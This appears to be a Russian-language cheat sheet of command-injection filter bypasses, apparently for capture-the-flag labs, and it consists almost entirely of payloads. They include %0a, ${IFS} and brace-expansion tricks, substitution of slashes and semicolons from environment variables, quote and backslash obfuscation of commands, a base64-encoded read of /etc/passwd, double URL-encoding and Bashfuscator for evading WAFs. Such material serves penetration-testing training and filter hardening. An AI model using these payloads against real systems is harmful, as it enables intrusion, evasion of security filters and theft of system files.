

1. Вурасс техники

1.1 Обход клиентской валидации

1.1.1 Проблема HTML5 pattern не дает отправить форму с инъекцией.

```
<input type="text" name="ip" pattern="^((\d{1,2}|\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|\d\d|2[0-4]\d|25[0-5])$">
```

1.1.2 Решения

1. **Отключить JavaScript** в браузере
2. **Использовать Burp Suite** для перехвата и изменения
3. **Использовать curl** напрямую
4. **Удалить атрибут pattern** через DevTools (F12)

Важно: Клиентская валидация — НЕ ЗАЩИТА! Она существует только для удобства пользователя. Сервер должен проверять ввод самостоятельно.

1.2 Обход черного списка символов

1.2.1 Проблема Заблокированы: ;, &, |, пробел, /

1.2.2 Space → Tab %09

```
127.0.0.1%0als%09-la
```

1.2.3 Space → \${IFS}

```
127.0.0.1%0als${IFS}-la
```

\${IFS} – Internal Field Separator. По умолчанию содержит пробел, табуляцию и новую строку. Не работает внутри \$().

1.2.4 Space → Brace Expansion {}

```
127.0.0.1%0a{ls,-la}
```

1.2.5 Slash → \${PATH:0:1}

```
127.0.0.1%0als${PATH:0:1}home
```

\${PATH:0:1} – первый символ из PATH (обычно /). Альтернативы: \${PWD:0:1}, \${HOME:0:1}

1.2.6 Semi-colon → \${LS_COLORS:10:1}

```
127.0.0.1${LS_COLORS:10:1}whoami # 127.0.0.1; whoami
```

1.3 Обход черного списка команд

1.3.1 Кавычки (Linux & Windows)

```
w'h'o'am'i # whoami
c'a't      # cat
```

```
w" h" o" a" m" i      # whoami
c" a" t                # cat
```

Правила:

- Нельзя смешивать типы кавычек
- Количество кавычек должно быть четным

1.3.2 Backslash (Linux)

```
w\h\o\am\i          # whoami
c\at                 # cat
```

1.3.3 Positional Parameter (Linux)

```
who$@ami            # whoami
cat$@               # cat
```

1.3.4 Caret (Windows)

```
who^ami             # whoami
```

1.3.5 Case Manipulation (Windows)

```
Wh0aMi             # whoami
CaT                 # cat
```

1.3.6 Case Manipulation (Linux)

```
$(tr "[A-Z]" "[a-z]" <<< "Wh0aMi") # whoami
$(tr "[A-Z]" "[a-z]" <<< "CaT")    # cat
```

1.3.7 Reversed Commands

```
$(rev<<<'imaohw') # whoami
$(rev<<<'tac')    # cat
```

1.3.8 Base64 Encoded

```
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```

1.4 Обход через переменные окружения

1.4.1 Получение слеша

- \${PATH:0:1}
- \${PWD:0:1}
- \${HOME:0:1}

1.4.2 Получение точки с запятой

```
${LS_COLORS:10:1}` # ;
```

Как работает: \${VARIABLE:START:LEN}

- START — позиция (с 0)
- LEN — количество символов

1.4.3 Поиск полезных символов

```

printenv          # показать все переменные
echo ${PATH:0:1}  # проверить символ
echo ${LS_COLORS:10:1} # проверить символ

```

1.5 Комбинированные техники

1.5.1 Чтение /flag.txt

```
%0ac'a't%09${PATH:0:1}flag.txt
```

1.5.2 ls -la /home

```
%0a{ls,-la,${PATH:0:1}home}
```

1.5.3 cat /home/user/flag.txt

```
%0a{c'a't,${PATH:0:1}home${PATH:0:1}lnj3c70r${PATH:0:1}flag.txt}
```

1.5.4 GET параметр (для файлового менеджера)

```
from=%0ac'a't%09${PATH:0:1}flag.txt%0a2561732172.txt
```

1.6 Обход WAF

1.6.1 Двойное URL-кодирование

```

%250a          # %0a дважды закодированный
%25250a        # %0a трижды закодированный

```

1.6.2 Смешивание регистра (Windows)

```

Wh0aMi        # whoami
CaT           # cat

```

1.6.3 Использование различных кодировок

```

Base64
Hex
Unicode
UTF-16

```

1.6.4 Использование Bashfuscator

```
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

Важно: WAF анализируют запросы по сигнатурам. Чем более уникальный payload — тем меньше шансов на обнаружение.

1.7 Таблица обхода фильтров

Что блокируется	Как обойти	Пример
Пробел	%09	ls%09-la
Пробел	\${IFS}	ls\${IFS}-la
Пробел	{}	{ls,-la}
/	\${PATH:0:1}	\${PATH:0:1}home

```
;                ${LS_COLORS:10:1}  ${LS_COLORS:10:1}whoami
cat              c'a't              c'a't /flag.txt
cat              c\at                c\at /flag.txt
cat              tac (reverse)        $(rev<<<'tac')
whoami           w'h'o'am'i          w'h'o'am'i
```